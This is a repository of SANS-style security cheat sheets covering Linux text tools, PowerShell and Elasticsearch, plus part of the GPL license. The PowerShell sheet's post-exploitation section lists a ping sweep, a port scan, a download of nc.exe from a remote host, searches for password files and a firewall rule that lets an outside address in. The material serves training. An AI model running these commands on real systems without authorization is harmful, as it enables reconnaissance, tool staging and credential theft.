125 | grep for lines containing "Mozilla", then change "Mozilla" to "MosaicKilla":
126 | ```bash
127 | $ grep Mozilla /var/log/apache2/access.log | sed "s/Mozilla/MosaicKilla/g"
128 | ```
129 | grep for lines containing "Mozilla", then delete all characters up to and including "Mozilla":
130 | ```bash
131 | $ grep Mozilla /var/log/apache2/access.log | sed "s/^.*Mozilla//g"
132 | ```
133 | grep for lines containing "Mozilla", then delete all characters that precede "Mozilla":
134 | ```bash
135 | $ grep Mozilla /var/log/apache2/access.log | sed "s/^.*Mozilla/Mozilla/g"
136 | ```
137 | ---------
138 | ### sort
139 | The following examples will run strings on a file, search for user-agent (ignore case), and use various sort options
140 |
141 | Simple alphabetic sort (may include duplicates)
142 | ```bash
143 | $ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort
144 | ```
145 | Sort and unique lines. The two following sets of commands are equivalent:
146 | ```bash
147 | $ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort -u
148 | $ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort | uniq
149 | ```
150 | Get a numeric count of each unique entry:
151 | ```bash
152 | $ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort | uniq -c
153 | ```
154 | Get a numeric count of each unique entry, perform a numeric sort of that count:
155 | ```bash
156 | $ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort | uniq -c | sort -n
157 | ```
158 | Sort and unique lines, print the length of each unique line followed by the line itself, perform a reverse numeric sort of that count:
159 | ```bash
160 | $ strings /pcaps/fraudpack.pcap | grep -i user-agent | sort -u | awk '{print length, $0}'| sort -rn
161 | ```
162 | Sort on the the second comma separated field
163 | ```
164 | $ cat /bonus/alexa/top-1m.csv sort -t, -k2
165 | ```
166 | ---------
167 | ### wc
168 | Determine number of lines in a file (the flag is the letter "ell", not the number one):
169 | ```bash
170 | $ wc -l /etc/passwd
171 | ```
172 | ### xxd
173 | xxd creates a hexdump, or converts a hexdump into binary. A lot of malware hex-encodes web traffic or malicious payloads (such as DOS executables) in order to avoid signature matching. Useful hex patterns to look for are 4d5a90 (the magic bytes for a DOS executable: "MZ<90>"), and "DOS mode" (444f53206d6f6465, see commands below).
174 |
175 | xxd cannot natively handle percent-encoded hex, such as "%63%67%69%2D%62%69%6E", but can if the percent signs are removed (see below).
176 |
177 | Convert the string "DOS mode" to hex, grouped in sets of 4 hex characters (default):
178 | ```bash
179 | $ echo -n "DOS mode" | xxd
180 | 0000000: 444f 5320 6d6f 6465 DOS mode
181 | ```
182 | Convert the string "DOS mode" to hex, ungrouped:
183 | ```bash
184 | $ echo -n "DOS mode" | xxd -g0
185 | 0000000: 444f53206d6f6465 DOS mode
186 | ```
187 | Convert the hex string "444f53206d6f6465" to binary:
188 | ```bash
189 | $ echo 444f53206d6f6465 | xxd -r -p
190 | DOS mode
191 | ```
192 | Use sed to remove the percent signs from the percent-encoded hex string "%63%67%69%2D%62%69%6E", then translate to binary:
193 | ```bash
194 | echo "%63%67%69%2D%62%69%6E" | sed "s/\%//g" | xxd -r -p
195 | cgi-bin
196 | ```
197 | Additional Info
198 | --------------
199 |
--------------------------------------------------------------------------------
/clipboard.svg:
--------------------------------------------------------------------------------
1 |
2 |
78 |
--------------------------------------------------------------------------------
/Tools/PowerShell.md:
--------------------------------------------------------------------------------
1 | SANS PowerShell Cheat Sheet
2 | ========
3 |
4 | Purpose
5 | --------
6 | The purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft’s PowerShell.
7 |
8 | PowerShell Overview
9 | ---------
10 | **PowerShell Background**
11 |
12 | PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now built in to all modern versions of Microsoft Windows. PowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.
13 |
14 | **Launching PowerShell**
15 | PowerShell is accessed by pressing Start -> typing powershell and pressing enter. Some operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start -> typing powershell and pressing Shift-CTRL-Enter.
16 |
17 | **Additionally, PowerShell cmdlets can be called from cmd.exe by typing:**
18 |
19 | ```
20 | C:\> powershell -c ""
21 | ```
22 |
23 | Useful Cmdlets (and aliases)
24 | ---------
25 |
26 | **Get a directory listing (ls, dir, gci):**
27 | ```
28 | PS C:\> Get-ChildItem
29 | ```
30 |
31 | **Copy a file (cp, copy, cpi):**
32 | ```
33 | PS C:\> Copy-Item src.txt dst.txt
34 | ```
35 |
36 | **Move a file (mv, move, mi):**
37 | ```
38 | PS C:\> Move-Item src.txt dst.txt
39 | ```
40 |
41 | **Find text within a file:**
42 | ```
43 | PS C:\> Select-String –path c:\users\*.txt –pattern password
44 | ```
45 |
46 | ```
47 | PS C:\> ls -r c:\users\*.txt -file | % {Select-String -path $_ -pattern password}
48 | ```
49 |
50 | **Display file contents (cat, type, gc):**
51 |
52 | ```
53 | PS C:\> Get-Content file.txt
54 | ```
55 |
56 | **Get present directory (pwd, gl):**
57 | ```
58 | PS C:\> Get-Location
59 | ```
60 |
61 | **Get a process listing (ps, gps):**
62 |
63 | ```
64 | PS C:\> Get-Process
65 | ```
66 |
67 | **Get a service listing:**
68 | ```
69 | PS C:\> Get-Service
70 | ```
71 |
72 | **Formatting output of a command (Format-List):**
73 |
74 | ```
75 | PS C:\> ls | Format-List –property name
76 | ```
77 |
78 | **Paginating output:**
79 | ```
80 | PS C:\> ls –r | Out-Host -paging
81 | ```
82 | **Get the SHA1 hash of a file:**
83 |
84 | ```
85 | PS C:\> Get-FileHash -Algorithm SHA1 file.txt
86 | ```
87 |
88 | **Exporting output to CSV:**
89 | ```
90 | PS C:\> Get-Process | Export-Csv procs.csv
91 | ```
92 |
93 | PowerShell for Pen-Tester Post-Exploitation
94 | ---------
95 |
96 | **Conduct a ping sweep:**
97 | ```
98 | PS C:\> 1..255 | % {echo "10.10.10.$_";ping -n 1 -w 100 10.10.10.$_ | Select-String ttl}
99 | ```
100 |
101 | **Conduct a port scan:**
102 | ```
103 | PS C:\> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
104 | ```
105 |
106 | **Fetch a file via HTTP (wget in PowerShell):**
107 | ```
108 | PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","nc.exe")
109 | ```
110 | **Find all files with a particular name:**
111 | ```
112 | PS C:\> Get-ChildItem "C:\Users\" -recurse -include *passwords*.txt
113 | ```
114 |
115 | **Get a listing of all installed Microsoft Hotfixes:**
116 | ```
117 | PS C:\> Get-HotFix
118 | ```
119 |
120 | **Navigate the Windows registry:**
121 | ```
122 | PS C:\> cd HKLM:\
123 | PS HKLM:\> ls
124 | ```
125 |
126 | **List programs set to start automatically in the registry:**
127 | ```
128 | PS C:\> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
129 | ```
130 | **Convert string from ascii to Base64:**
131 | ```
132 | PS C:\>[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("PSFTW!"))
133 | ```
134 |
135 | **List and modify the Windows firewall rules:**
136 | ```
137 | PS C:\> Get-NetFirewallRule –all
138 | PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -RemoteAddress 10.10.10.25
139 | ```
140 |
141 | Syntax
142 | ---------
143 | Cmdlets are small scripts that follow a dashseparated
144 | verb-noun convention such as "Get-Process".
145 | **Similar Verbs with Different Actions:**
146 | - **New-** Creates a new resource
147 | - **Set-** Modifies an existing resource
148 | - **Get-** Retrieves an existing resource
149 | - **Read-** Gets information from a source, such as a file
150 | - **Find-** Used to look for an object
151 | - **Search-** Used to create a reference to a resource
152 | - **Start-** (asynchronous) begin an operation, such as starting a process
153 | - **Invoke-** (synchronous) perform an operation such as running a command
154 |
155 | **Parameters:**
156 | Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.
157 |
158 | **Objects:**
159 | The output of most cmdlets are objects that can be passed to other cmdlets and further acted upon. This becomes important in pipelining cmdlets.
160 |
161 | Finding Cmdlets
162 | ---------
163 |
164 | **To get a list of all available cmdlets:**
165 | ```
166 | PS C:\> Get-Command
167 | ```
168 | **Get-Command supports filtering. To filter cmdlets on the verb set:**
169 | ```
170 | PS C:\> Get-Command Set*
171 | ```
172 | ```
173 | PS C:\> Get-Command –Verb Set
174 | ```
175 | **Or on the noun process:**
176 | ```
177 | PS C:\> Get-Command *Process
178 | ```
179 | ```
180 | PS C:\> Get-Command –Noun process
181 | ```
182 |
183 | Getting Help
184 | ---------
185 |
186 | **To get help with help:**
187 | ```
188 | PS C:\> Get-Help
189 | ```
190 | **To read cmdlet self documentation:**
191 | ```
192 | PS C:\> Get-Help
193 | ```
194 | **Detailed help:**
195 | ```
196 | PS C:\> Get-Help -detailed
197 | ```
198 | **Usage examples:**
199 | ```
200 | PS C:\> Get-Help -examples
201 | ```
202 | **Full (everything) help:**
203 | ```
204 | PS C:\> Get-Help -full
205 | ```
206 | **Online help (if available):**
207 | ```
208 | PS C:\> Get-Help -online
209 | ```
210 |
211 | Cmdlet Aliases
212 | ---------
213 | Aliases provide short references to long commands.
214 |
215 | **To list available aliases (alias alias):**
216 | ```
217 | PS C:\> Get-Alias
218 | ```
219 | **To expand an alias into a full name:**
220 | ```
221 | PS C:\> alias
222 | ```
223 | ```
224 | PS C:\> alias gcm
225 | ```
226 |
227 | Efficient PowerShell
228 | ---------
229 | **Tab completion:**
230 | ```
231 | PS C:\> get-child
232 | ```
233 | ```
234 | PS C:\> Get-ChildItem
235 | ```
236 | **Parameter shortening:**
237 | ```
238 | PS C:\> ls –recurse
239 | ```
240 | is equivalent to:
241 | ```
242 | PS C:\> ls -r
243 | ```
244 |
245 | 5 PowerShell Essentials
246 | ---------
247 |
248 | **Shows help & examples**
249 | ```
250 | PS C:\> Get-Help [cmdlet] -examples
251 | ```
252 | Alias
253 | ```
254 | PS C:\> help [cmdlet] -examples
255 | ```
256 |
257 | **Shows a list of commands**
258 | ```
259 | PS C:\> Get-Command
260 | ```
261 | Alias
262 | ```
263 | PS C:\> gcm *[string]*
264 | ```
265 |
266 | **Shows properties & methods**
267 | ```
268 | PS C:\> [cmdlet] | Get-Member
269 | ```
270 | Alias
271 | ```
272 | PS C:\> [cmdlet] | gm
273 | ```
274 |
275 | **Takes each item on pipeline and handles it as $_**
276 | ```
277 | PS C:\> ForEach-Object { $_ }
278 | ```
279 | Alias
280 | ```
281 | PS C:\> [cmdlet] | % { [cmdlet] $_ }
282 | ```
283 |
284 | **Searches for strings in files or output, like grep**
285 | ```
286 | PS C:\> Select-String
287 | ```
288 | Alias
289 | ```
290 | PS C:\> sls –path [file] –pattern [string]
291 | ```
292 |
293 | Pipelining, Loops, and Variables
294 | ---------
295 |
296 | **Piping cmdlet output to another cmdlet:**
297 | ```
298 | PS C:\> Get-Process | Format-List –property name
299 | ```
300 | **ForEach-Object in the pipeline (alias %):**
301 | ```
302 | PS C:\> ls *.txt | ForEach-Object {cat $_}
303 | ```
304 | **Where-Object condition (alias where or ?):**
305 | ```
306 | PS C:\> Get-Process | Where-Object {$_.name –eq "notepad"}
307 | ```
308 | **Generating ranges of numbers and looping:**
309 | ```
310 | PS C:\> 1..10
311 | ```
312 | ```
313 | PS C:\> 1..10 | % {echo "Hello!"}
314 | ```
315 | **Creating and listing variables:**
316 | ```
317 | PS C:\> $tmol = 42
318 | ```
319 | ```
320 | PS C:\> ls variable:
321 | ```
322 | **Examples of passing cmdlet output down pipeline:**
323 | ```
324 | PS C:\> dir | group extension | sort
325 | ```
326 | ```
327 | PS C:\> Get-Service dhcp | Stop-Service -PassThru | Set-Service -StartupType Disabled
328 | ```
329 |
330 | Additional Info
331 | --------------
332 | The original SANS PowerShell Pocket Reference Guide (B&W TriFold) is available here:
333 | [Original SANS PowerShell CheatSheet](pdfs/PowerShellCheatSheet_v41.pdf)
334 |
335 | A printable PDF version of the cheatsheet using this format is available here:
336 | [PowerShell CheatSheet](pdfs/PowerShell.pdf)
337 |
338 |
339 | Cheat Sheet Version
340 | --------------
341 | #### **`Version 4.0`**
--------------------------------------------------------------------------------
/Tools/Elasticsearch.md:
--------------------------------------------------------------------------------
1 | Elasticsearch
2 | ========
3 | Abstract
4 | ---------
5 | Elasticsearch is a distributed, RESTful search and analytics engine, and makes up the heart of the SIEM used in SEC455. It is the main storage and search component of the Elastic Stack.
6 |
7 | Where to Acquire
8 | ---------
9 | Elasticsearch can be downloaded from https://www.elastic.co/products/elasticsearch. It is open source but also has a commercial support offering.
10 |
11 | Documentation
12 | ---------
13 | The documentation for the latest version of Elasticsearch can be found at https://www.elastic.co/guide/en/elasticsearch/reference/master/index.html.
14 |
15 | Troubleshooting
16 | ---------
17 | If you have a node that either won't start up, or is failing after a period of time, the reason should be present in the log files. Depending on the point at which it failed, there are a couple options for checking the reason.
18 |
19 | 1. The systemd journal.
20 | 2. The cluster logs in /var/log/elasticsearch/
21 | 3. The trace logs, which must be enabled.
22 |
23 | To tail the elasticsearch service logs written to the systemd journal, use the command below. It can be helpful to leave this command running in a terminal window while trying to diagnose the problem.
24 |
25 | ```bash
26 | $ sudo journalctl -u elasticsearch.service -f
27 | ```
28 |
29 | To view the entire systemd journal for all services, which may help in case the issue is being caused with another service, this command can be used.
30 |
31 | ```bash
32 | $ sudo journalctl -xe
33 | ```
34 |
35 | Often times, if the node is not able to start, the reasons will not be present in the systemd journal. In this case you should check the main elasticsearch log files, written by default to /var/log/elasticsearch/[clustername].log. This folder contains multiple logs files: the normal cluster log (sec455.log), the deprecation log (sec455_deprecation.log), and the slowlog (sec455_index_search_slowlog.log). FOr troublshooting, you are interested in the log that matches the cluster name, in the case of the VM, sec455.log.
36 |
37 | ```bash
38 | root@sec455:/# ls /var/log/elasticsearch/
39 | sec455-2018-01-15-1.log.gz sec455-2018-01-16-1.log.gz sec455_deprecation.log sec455_index_indexing_slowlog.log sec455_index_search_slowlog.log sec455.log
40 | ```
41 |
42 | In the case of the class VM, the following command will show the elasticsearch log file, as well as use tail to continuously monitor it. Be aware that by default, **you will need to use root access** to read the elasticsearch log files. It can be helpful to leave this command running in a terminal window while issuing the "sudo service elasticsearch restart" command to find what errors are generated when the node is started. Be aware that logs can be very verbose so you may want to filter for lines that contain WARN or FATAL and ignore INFO line.
43 |
44 | ```bash
45 | $ sudo cat /var/log/elasticsearch/sec455.log
46 | $ sudo tail -f /var/log/elasticsearch/sec455.log
47 | ```
48 |
49 | Logs from previous days are gzipped to save space. These can still be viewed without uncompressing them by using the "zcat" command such as in the example below. It may be helpful to filter out the lines that contain INFO using the output pipped to a grep command eliminating lines that contain the "INFO" tag, however be aware that since the log entries can span multiple lines, this may not perfectly filter it out.
50 |
51 | ```bash
52 | $ sudo zcat /var/log/elasticsearch/sec455-2018-01-15-1.log.gz
53 | $ sudo zcat /var/log/elasticsearch/sec455-2018-01-15-1.log.gz | grep -v INFO
54 | ```
55 |
56 | If you need to go even deeper on debugging, you can turn up log4j2 settings to "trace" level by inserting the following line into the elasticsearch.yml file and restarting the elasticsearch process. Be sure to turn this back off after it is no longer needed, since it will cause log files to be extremely verbose.
57 |
58 | ```bash
59 | logger.org.elasticsearch.transport: trace
60 | ```
61 |
62 | Shard Allocation Investigation
63 | ---------
64 | At some point in time, you may find yourself wondering why shards are not being allocated in the way you expect. To answer this question, Elasticsearch provides the cluster level Explain API - https://www.elastic.co/guide/en/elasticsearch/reference/current/cluster-allocation-explain.html. Issuing the following command via the Dev Tools interface or Cerebro will provide an explanation why allocation is in the state it is in.
65 |
66 | ```bash
67 | GET /_cluster/allocation/explain
68 | ```
69 |
70 | elasticsearch.yml Setup Options
71 | ---------
72 | For detailed reference on the options below in the /etc/elasticsearch/elasticsearch.yml file, consult the Elasticsearch Modules section of the help documents: https://www.elastic.co/guide/en/elasticsearch/reference/current/modules.html
73 |
74 | Once any options in this section are changed, the elasticsearch serivce will need to be restarted for the changes to take effect
75 |
76 | ```bash
77 | sudo service elasticsearch restart
78 | ```
79 |
80 | Snapshot and Restore
81 | ---------
82 | Assuming that the shared filesystem is mounted to /mount/backups/my_backup, the following setting should be added to elasticsearch.yml file:
83 |
84 | ```bash
85 | path.repo: ["/mount/backups", "/mount/longterm_backups"]
86 | ```
87 |
88 | The path.repo setting supports Microsoft Windows UNC paths as long as at least server name and share are specified as a prefix and back slashes are properly escaped:
89 |
90 | ```bash
91 | path.repo: ["\\\\MY_SERVER\\Snapshots"]
92 | ```
93 |
94 | URL Repositories are read-only sources for restoring data. They support the following protocols: "http", "https", "ftp", "file" and "jar". URL repositories with http:, https:, and ftp: URLs have to be whitelisted by specifying allowed URLs in the **repositories.url.allowed_urls** setting. This setting supports wildcards in the place of host, path, query, and fragment. For example:
95 |
96 | ```bash
97 | repositories.url.allowed_urls: ["http://www.example.org/root/*", "https://*.mydomain.com/*?*#*"]
98 | ```
99 |
100 | Networking
101 | ---------
102 | By default, Elasticsearch will only listen on the local loopback interface (127.0.0.1), when you go to form a cluster in production, you will need to modify these settings so nodes can talk to each other over the network. This involves 2 steps, setting the **network.host** variable to tell Elasticsearch to listen on other network interfaces, and setting the discovery.zen.ping.unicast.hosts variable to point to the other nodes in the cluster.
103 |
104 | **network.host:**
105 | The following special values may be set for **network.host** in the elasticsearch.yml file, and multiple can be used at once separated by a comma:
106 |
107 | ```bash
108 | _local_ - Any loopback addresses on the system, for example 127.0.0.1 (this is the default).
109 |
110 | _site_ - Any site-local addresses on the system, for example 192.168.0.1.
111 |
112 | _global_ - Any globally-scoped addresses on the system, for example 8.8.8.8.
113 |
114 | _[networkInterface]_ - Addresses of a network interface, for example _en0_.
115 | ```
116 |
117 | Example:
118 | ```bash
119 | network.host: _site_,_local_
120 | ```
121 |
122 | **discovery.zen.ping.unicast.hosts:**
123 | In order to join a cluster, a node needs to know the hostname or IP address of at least some of the other nodes in the cluster. This setting provides the initial list of other nodes that this node will try to contact. Accepts IP addresses or hostnames. If a hostname lookup resolves to multiple IP addresses then each IP address will be used for discovery.
124 |
125 | Example:
126 | ```bash
127 | discovery.zen.ping.unicast.hosts: ["10.0.0.2", "10.0.0.3", "10.0.0.4"]
128 | ```
129 |
130 | Remember, it is **very important** to set the minimum master nodes that must be visibile to avoid split brain. The formula for the correct amount is (master-eligible nodes/2) + 1. FOr a 3 node cluster, use 2, for a 10 node cluster, use 6, etc.
131 |
132 | Example:
133 | ```bash
134 | discovery.zen.minimum_master_nodes: 2
135 | ```
136 |
137 | For discovery using clusters in ECS, Azure, and Google Computer Engine, refer to the following URL: https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-discovery.html
138 |
139 | Node Type Setup
140 | ---------
141 | In order to designate whether your node can act as a master, data, ingest, or coordinating node, the options below must be specified in the **elasticsearch.yml** file. Note that if X-Pack is installed, there is an extra node type available for machine learning and the settings from the X-Pack section below should be used.
142 |
143 | If X-Pack is **not** installed, use this configuration to create a dedicated **master-eligible** node:
144 |
145 | ```bash
146 | node.master: true
147 | node.data: false
148 | node.ingest: false
149 | search.remote.connect: false
150 | ```
151 |
152 | For a dedicated **data** node **without** X-Pack installed:
153 | ```bash
154 | node.master: false
155 | node.data: true
156 | node.ingest: false
157 | search.remote.connect: false
158 | ```
159 |
160 | For a **coordinating** node **without** X-Pack installed:
161 |
162 | ```bash
163 | node.master: false
164 | node.data: false
165 | node.ingest: false
166 | search.remote.connect: false
167 | ```
168 |
169 | If X-Pack **is** installed with machine learning, use this configuration to create a dedicated **master-eligible** node:
170 |
171 | ```bash
172 | node.master: true
173 | node.data: false
174 | node.ingest: false
175 | node.ml: false
176 | xpack.ml.enabled: true
177 | ```
178 |
179 | For a dedicated **data** node **with** X-Pack installed:
180 |
181 | ```bash
182 | node.master: false
183 | node.data: true
184 | node.ingest: false
185 | node.ml: false
186 | ```
187 |
188 | For a **coordinating** node **with** X-Pack installed:
189 |
190 | ```bash
191 | node.master: false
192 | node.data: false
193 | node.ingest: false
194 | search.remote.connect: false
195 | node.ml: false
196 | ```
197 |
198 | Curator Examples
199 | ---------
200 | To install Curator, run the below command. Note that if pip is not installed, you may need to install that first with "sudo apt install python-pip" or your distributions package manager equivalent.
201 |
202 | ```bash
203 | $ pip install elasticsearch-curator
204 | ```
205 |
206 | Reference for the Curator configuration file (curator.yml) can be found at the url below, this configuration must be set up before Curator can be successfully run. https://www.elastic.co/guide/en/elasticsearch/client/curator/current/configfile.html
207 |
208 | Multiple examples for curator scripts can be found on the curator site at the following url: https://www.elastic.co/guide/en/elasticsearch/client/curator/current/examples.html.
209 |
210 | Be aware that these scripts come disabled due to the "disable_action: True" line. Remove this line when testing (even dry runs) or no results will be shown.
211 |
212 | It is **highly advised** that you try these out using the "--dry-run:" parameter before running them.
213 |
214 | Benchmarking Elasticsearch
215 | ---------
216 | Elastic has developed a benchmarking suite called "Rally" for testing your hardware for Elasticsearch performance. https://github.com/elastic/rally Note it is **NOT** designed to test a pre-exisiting, cluster. It CAN be done that way, but the preferred method is to issue the command to benchmark, and let the Rally package set up its own benchmarking cluster for testing. This will yield the most detailed and accurate results. This means you should run this suite on your hardware **before** you install Elasticsearch on it for production.
217 |
218 | To install Rally, note you may need to install pip for Python 3 first with "sudo apt install python3-pip" or your distributions package manager equivalent.
219 |
220 | ```bash
221 | $ pip3 install esrally
222 | ```
223 |
224 | To run a "race", you must first configure esrally, then run the esrally command with a argument for the version of elasticsearch you would like to test. This will fully install the elasticsearch packages and everything involved.
225 |
226 | ```bash
227 | $ esrally configure
228 | $ esrally --distribution-version=6.0.0
229 | ```
230 |
231 | Note that Rally has different benchmarks for different use cases called "tracks". Of the defaults, the "http_logs" track is likely the most applicable for a SIEM use case. To run this track, use the command line argument below.
232 |
233 | ```bash
234 | $ esrally --distribution-version=6.0.0 --track=http_logs
235 | ```
236 |
237 | For detailed instructions on customizing the test, consult the esrally documentation at https://esrally.readthedocs.io/en/latest/index.html.
238 |
239 | Text Analysis and Tokenization
240 | ---------
241 | If you would like to experiment with different types of text analysis, the Elasticsearch Analyze API can be used to see how your input text will be separated into tokens. For an example, paste the entire section below into the Kibana Dev Tools window and analyze the tokens that are output as each different request is submitted. Note that an analyzer is defined as a pre-defined set of character filters, token filters, and a tokenizer. The tokenizer is what breaks up the strings into tokens, and the token filters then modify the broken up tokens further (for example reversing them in some cases below).
242 |
243 | ```bash
244 | GET _analyze
245 | {
246 | "analyzer" : "standard",
247 | "text" : "MiXed-CaSE WritinG with SPeciaL-!@@=RANDOM}{-ChARACTERS"
248 | }
249 |
250 | GET _analyze
251 | {
252 | "tokenizer" : "standard",
253 | "text" : "MiXed-CaSE WritinG with SPeciaL-!@@=RANDOM}{-ChARACTERS"
254 | }
255 |
256 | GET _analyze
257 | {
258 | "tokenizer" : "standard",
259 | "text" : "http://www.google.com/search/file.jpg, https://wiki.sans-training.local, instructor@sans.org"
260 | }
261 |
262 | GET _analyze
263 | {
264 | "tokenizer" : "uax_url_email",
265 | "explain" : "true",
266 | "text" : "http://www.google.com/search/pic.jpg, https://wiki.sans-training.local, instructor@sans.org"
267 | }
268 |
269 | GET _analyze
270 | {
271 | "tokenizer" : "standard",
272 | "filter" : ["reverse"],
273 | "text" : "http://www.google.com/search/pic.jpg, https://wiki.sans-training.local, instructor@sans.org"
274 | }
275 |
276 | GET _analyze
277 | {
278 | "tokenizer" : "uax_url_email",
279 | "filter" : ["reverse"],
280 | "text" : "http://www.google.com/search/pic.jpg, https://wiki.sans-training.local, instructor@sans.org"
281 | }
282 | ```
283 |
284 | To see a list of tokenizers and token filter options see the following URLs:
285 |
286 | Anatomy of an Analyzer: https://www.elastic.co/guide/en/elasticsearch/reference/current/analyzer-anatomy.html
287 | Tokenizers: https://www.elastic.co/guide/en/elasticsearch/reference/current/analysis-tokenizers.html
288 | Token Filters: https://www.elastic.co/guide/en/elasticsearch/reference/current/analysis-tokenfilters.html
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
